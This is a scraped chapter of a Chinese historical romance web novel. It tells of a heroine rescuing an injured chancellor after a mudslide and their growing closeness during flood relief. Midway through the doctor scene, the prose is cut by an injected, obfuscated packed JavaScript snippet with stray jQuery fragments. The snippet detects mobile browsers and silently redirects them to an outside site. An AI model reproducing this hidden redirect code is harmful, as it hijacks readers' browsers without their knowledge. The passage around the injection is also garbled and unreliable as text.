默认冷灰
24号文字
方正启体

21. 谁说我身子弱的?

作者:XININ本书字数:K更新时间:
    贺晴已经有两天两夜没有合眼了,自那日她策马来到巴源村劝说村民转移,已经过了两天。


    她还记得她刚来之时小佑一家欢喜的脸庞,也记得她说明来意之后村长沉重的脸色。


    她就站在风雨中,等待村长集村中所有户主商榷此事。


    任风雨肆意地吹打在她身上,雨水模糊了视线。


    最终,村民打开了房门,德高望重的老村长目光深邃,脸露沧桑。


    他望着贺晴,不曾言语,可是贺晴却懂了他的沉默。


    全村人只简单的收拾了一下,便赶着各家的牲畜往距离巴源三十里外的地方走去。


    行路之间,小佑回头望了一眼这片他从小长大的村子,向贺晴问道:“姐姐,我们还能回来吗?”


    贺晴眼眶湿润,坚定地说道:“会的。”


    她随着村民绕过田地,往地势较高的地方走去,待找到一处地方可以暂时让村民落脚,贺晴便急匆匆上马向沁水城赶去。


    回城的途中,因为大雨的冲刷造成山体滑坡,贺晴走的山路被毁,只好绕道行之。这一绕距离就远了,一天一夜之后她才回到了沁水。


    一进城处处都是水洼泥泞,经过环城沁水渠时,周围状况更是惨不忍睹,洪水只退了一部分,河道两边房屋都淹浸在河水之中,到处都漂浮着各种各样的物品。


    只有城中地势较高的房屋得以幸免,但大多数房子的屋顶开始漏水。


    努力保护的沁水都如此,那放之任之的巴源情况更是让人不忍去想。


    她要找到云珩,集齐人力好帮巴源村民重建家园。


    寻到碧水庄时,她便看见了在那指挥的孙思远一脸焦头烂额之相。


    他亦望见了贺晴,便着急忙慌的向她走来:“贺姑娘,你无事就好,快去旁边歇一会儿,我把这边的事处理完之后,就来向你了解巴源村的情况。”


    “我不累,怎么就你一人在这儿?”


    孙思远正要回答,清风却跑了过来:“孙大人,去树林里伐木的人回来了,木材已经运到河岸那边去了。”


    “好,我马上召集人去河岸。”


    “贺姑娘,我们相爷呢?”


    “相爷?”贺晴一脸疑惑,“我从大坝离开那天就没看到他了。”


    清风骤然变色:“不好,相爷肯定是出事了。”


    “赶紧带人马去寻人!”孙思远焦急道。


    “到底发生了何事?”贺晴问道。


    “那日清风开闸泄洪回来后,云相见你迟迟不归,便只身寻你去了。”


    “可是我在回来的路上没有见到他啊...”一丝恐惧袭上心头,贺晴失色:“该不会...我是绕道回来的,原来的路上发生了泥石流!”


    若是...若是...你可千万不要有事。贺晴的心紧紧地扭在了一起。


    她策马在路上奔腾,风在耳旁呼啸而过,马蹄溅起一路泥泞,她带着一颗惴惴不安的心往城外奔驰而去。


    随之一起的还有清风及一众侍卫,待走到发生泥石流之地,众人皆变了脸色。


    那倾泻的山体裹挟着大量的泥沙和石块,将山路拦腰斩断,若是人刚好路过这里,怕是没有生还的可能。


    “你们往四个方向去寻,一定要找到相爷!”


    “是!!”


    清风发完命令,回头看见贺晴愣在泥土面前一动不动。


    “贺姑娘,我们也去找找吧。”清风靠近了才发现她整个身子都在微微颤抖。


    “好!”贺晴红回了神,眼睛却通红。


    山路已经被冲毁,他们只好寻着小路往山林中去,一路上杂草灌木横生,道路崎岖不平,泥土被雨水泡软,他们费了好大的力气才走出一小段。


    俩人走了半天,眼前出现了分叉之路。


    “贺姑娘,我们分开行动,若是找到了相爷你往天上放信烟。”


    “好!”


    纵然是夏季时分,越是往山林深处,越能感觉到阵阵凉意,更何况下雨过后,人从树木草丛之间穿过,枝叶上的露水已经将衣服湿透。


    一阵林间风吹过,贺晴不禁打了一个寒颤。


    若是逃生,应该会往泥石流两侧的方向向上逃去,可是过了这么久为什么还是没有找到他,贺晴内心越来越焦灼。


    走到稍微开阔一点的地方,一颗巨大的树倒在前方挡住了去路,再往前是浓密不见底的树荫。


    你究竟在哪儿?


    从天上落下一颗松果砸在那棵倒地的大树上,弹起滚落了好远。


    那边似乎有什么东西?贺晴小心翼翼地往前迈出一步,腰间小刀已握在手中。


    再往前一步,她看见了白色的衣角。


    她瞬时往那边冲了过去。


    大树背后,云珩倒在地上双眼紧闭,脸色苍白,嘴唇不见一点血色。


    贺晴上前一探,他呼吸微弱,手脚冰凉,不知昏迷了多久。


    她松了一口气,从怀里掏出清风给的信烟,想要发出去却发现已经被水浸湿没了用处。


    贺晴一把将云珩拉起架在肩上往山下走去,纵使贺晴感觉此刻的腿有千斤重她也得一步步地往前走,若是天黑没有离开这片树林,夜里温度低不说,恐怕会有凶猛走兽出没。


    天色是说黑就黑,上山之时很容易,为什么下山之路如此漫长?清风为何没有寻过来?难道他们走错了方向?


    两人的衣服已经湿透,可是贺晴找遍周围却找不出一块未湿的树枝用来生火。


    云珩没有丝毫要醒的迹象,她的体力已经透支,只好扶着他靠着一棵树坐下。贺晴打了一个喷嚏,她伸手覆在云珩的额头之上,发现他的额头已经滚烫。


    自己却为什么这么冷呢?他的身上好暖和,贺晴紧紧地抱住云珩,她不想睡去,可是精神与身体都太过疲累,她渐渐闭上了眼睛。


    身体猛地一弹,贺晴惊醒,一抬眼便看见温润的眼睛正望着她。


    “你终于醒了!”贺晴欣喜道,她自然而然松开了抱着云珩的双手。


    “嗯。”云珩眼中似藏起了什么。


    “你可还好?怎会倒在此处?有没有哪里受伤?”


    “暂无大碍,”云珩手心在头上揉了揉,“我昨日逃难的时候躲避不及被飞石砸到了脑袋,逃到此处时,这棵大树又突然倒下,后来我就不省人事了。”


    还好没有被砸到,不然肯定不止昏厥这么简单。


    贺晴眼睛从那棵树上挪至云珩的脸上,她突然板着脸厉声说道:“今日我就要来说说你了,怎么就一个人出了城不知道带着侍卫?”


    云珩愣了下,这位在他跟前谨慎小心,分外客气,巴结讨好的女子,今日却敢教训起了他。


    “我担心你,你一人在外,我不放心。”云珩说道。


    贺晴讶然,内心敲起了鼓,还带着一丝雀跃。


    云珩深深地望着眼前之人,此刻世界万籁俱静,他的眼里只有她,心里只有她,令他如此牵挂的也只有她。


    纵使有危险,他宁愿是自己经历,也不愿她遭遇任何。当时他策马至山下,泥石流爆发,马儿受惊疾驰而去的时候,他内心是庆幸的,还好她不在这里。


    他素来性情淡泊,当这种情感最初在他的心中发芽的时候,他是震惊的,他想无视,可是随着时间俞长久,俞是疯狂滋长,无法抑制。


    他明白了,她是不同的。纵使他看透了世上许多东西,万物都令他乏味,可是如此鲜活有生机的她,就像那阳光一样。


    可是她呢?


    “我亦同样担心你。”贺晴望着云珩,字字清晰。


    这就够了,云珩嘴角上扬。


    “我看了地图,知你必会走这条路,此处山体松软,这连日来的雨水冲刷可能会发生泥石流,我遂出来寻你,而侍卫,沁水正需人力之时,让他们留在那儿更好。”云珩说道。


    “我也没想到除了发生洪水还会有如此凶险之事。”贺晴感到后怕,若是人为的事情还可以干预阻止,但这天地山川河海之事,却叫人心有余而力不足。


    还好,这连日来的努力与坚持没有白费,只是沁水与巴源还需要更多的时间来恢复原貌。


    贺晴这才发现他们两人竟还坐在地上,她似是想起了什么,伸手向云珩额头上探去。


    “还有点烧,不过比昨天好多了,你可还有力气?”


    他缓缓摇了摇头。


    “我扶着你走吧。”


    贺晴搀扶着云珩往前走着,可是她感觉她的手臂却没有承受到一丝重量。


    “昨日我就是在此处与清风分开的。”贺晴指着前面的分叉路。


    “他们见你没有回去应该会往这边找的,但到现在还没有过来,恐怕是遇到了阻碍。”


    “那我们还是按照此路往前走点吧。”


    云珩沉默表示赞同。


    两人正要往前走,只听到右前方树林里传来了清风的声音。


    “相爷!相爷!”


    不多久,前方的灌木丛里,清风砍了挡在身体两旁的低矮树木,一跃而上。一众侍卫跟在他的后面跑了过来。


    “相爷无事就好,属下来迟,请相爷恕罪。”清风激动道。


    云珩只轻轻摆了摆手:“前面的路是不是不通了?”


    “是,昨日属下从另一方下山,见贺姑娘没有回来就想返回此处找她。可是途中又有一处山体坍塌,前行的道路尽毁,属下只好集中了人马从远处绕过来。”


    “如此说来恐怕还会有山体塌陷,我们得赶紧离开此山。”


    一行人回到沁水城之后,贺晴赶紧找到孙思远,告知他巴源村民的位置,让他先去接应村民。


    自己则扶云珩回了房间,请来大夫问诊。


    “大夫,可有事?”贺晴见大夫把完脉问道。


    “大人身体无大碍,只是感染了风寒,开服药方每日按时服用,三日后便可药到病除。”


    “那就好。”贺晴松了一口气。


    “大夫,你看看她。”


    大夫又给贺晴把了把


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092385|195486||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脉,片刻之后笑道:“这位姑娘身体健硕,好得很哩!”


    “那是自然,十几年的武功不是白练的,”贺晴又对云珩说道:“你先好好休息,我去熬药。”


    看着那抹身影消失在门口,云珩躺在床上缓缓闭上了眼睛。


    再次醒来之时,床边伏着人,床脚的凳子上放着的汤药还有些余温。


    云珩就这么盯着眼前的人儿,望了良久。


    他小心地将手覆上她的头发,发丝柔软而坚韧。手心滑至脸颊,触碰到的是光滑娇嫩的皮肤。


    贺晴睡梦中感觉脸颊有一丝痒意,下意识地想用手拂去。


    惊醒之后发现原本在床边的她现在却躺在了床上,而那凳子上的汤药已经见了底。


    整个屋子只有她一人,外面是青天白日她却有了不安的感觉。


    她猛地推开房门,正巧门外站着一个侍女,未等她开口,侍女却先说了话:“姑娘你醒了?大人让我转告你不要担心,他与下属去了巴源村村民所在之处。姑娘若是想去,可先用了饭再让府上侍卫送你过去。”


    “我睡了多久?”


    “自奴婢在门外等候已经过了三个时辰。”


    今日真是睡得太沉了些,连他何时离开的都没有发现。


    “姑娘你去哪里?那位大人说了,一定让你用完饭了才能让你离开。”侍女伸出手臂挡在了贺晴胸前。


    “那就不用麻烦端菜摆碗筷了,我去厨房拿个馒头就行。”


    只见侍女说道:“不麻烦,请姑娘莫要为难我,还是用完饭再走吧。”


    无奈,贺晴只好转身回房坐在桌前。侍女如释重负,笑着说:“姑娘等着,我马上就将饭菜端来。”


    贺晴本来打算随便巴拉两口就走,可硬是在这个固执的侍女的监督下将所有的饭菜都吃完了。


    待她策马来到巴源村的时候,云珩带去的一众人马已经开始重建巴源。


    此时村民早已回到了村子,听清风说,那些村民刚回来的时候一个个痛哭流涕,但是现在贺晴却看到了他们脸上欣慰的笑容。


    “这是为何?”贺晴问道。


    “相爷答应给他们重建家园,恢复巴源村原来的样貌。还有你看,”清风笑着指了指老村长,“村长手中拿着的是相爷为村子设计的水利图纸,相爷打算在巴源河上为村民兴修水利,造福村民,这样就有河水自动往田里灌溉,而村里用水就不用跑那么远去挑水了。”


    “云相呢?他在哪里?”她到这里来还没有看到他的身影。


    “应该在河边吧。”


    “那我去看看。”


    道路泥泞,河水浑浊,沿河的柳树全都消失不见,一青色身影伫立在河岸之上衣袂飘然。


    贺晴走近,突然脚下一滑,原本应该跌在泥巴坑里的她却撞到一个温暖的怀抱之中。


    “小心。”声音温柔低沉。


    贺晴却懊恼不已,怎么自己如此笨拙。


    好在云珩被她撞得只往后退了一步,抱着的俩人才没有一起往泥地里摔去。


    贺晴站稳后慌乱地往后退了两步。


    “你...”


    “你...”


    俩人异口同声,却又同时缄了口。


    “你想要说什么?”


    “我...是想说,你来这里干什么?风这么大,怎么这么不顾惜自己的身体。”


    云珩轻轻地抿了下嘴:“不要紧。”


    “怎么不要紧了?本来身子就弱,上次给你的补药也不知有没有效用。”


    云珩眼中带着一丝疑惑:“谁说我身子弱的?”


    “就...他们...”贺晴支支吾吾。


    “嗯?”


    “我听他们说,你活不过三十岁。”


    说如此严肃的事情,云珩却突然笑了起来:“你不想我死?”


    “嗯。”


    “为何?”云珩试探着问道。


    “你是我朋友。”


    “朋友?...”云珩眼中似有失落,他深深望了一眼贺晴说道,“那都是谣言罢了。”


    “谣言?那你为何从来都不解释?”


    “不想解释,落得清净。”


    “别人都误会了,这可耽误多少事情。”


    “别人对我来说都不重要。”


    世界寂静无声,胸腔的心脏扑通狂跳,仿佛如那小鹿一般即将跃出。


    这片刻仿佛过了千万年之久。


    两人在河岸上走着,微风徐徐,脚步不急不缓。


    “有一件事情还未告诉你,”云珩说道,“手下人已经拿到丰知府的招供,他与侍郎刘成有勾结,上瞒下欺,贪污国库下拨兴修水利的钱财。”


    “如此说来,杨满儿想要传达的消息是这个。”


    “嗯,只不过我们还需要在此处待一段时间,等这里的事情落定以后,才能将丰知府押送回京。”


    贺晴点了点头:“还要加强戒备,我担心刘成会杀人灭口。”


    “他不会得逞的。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)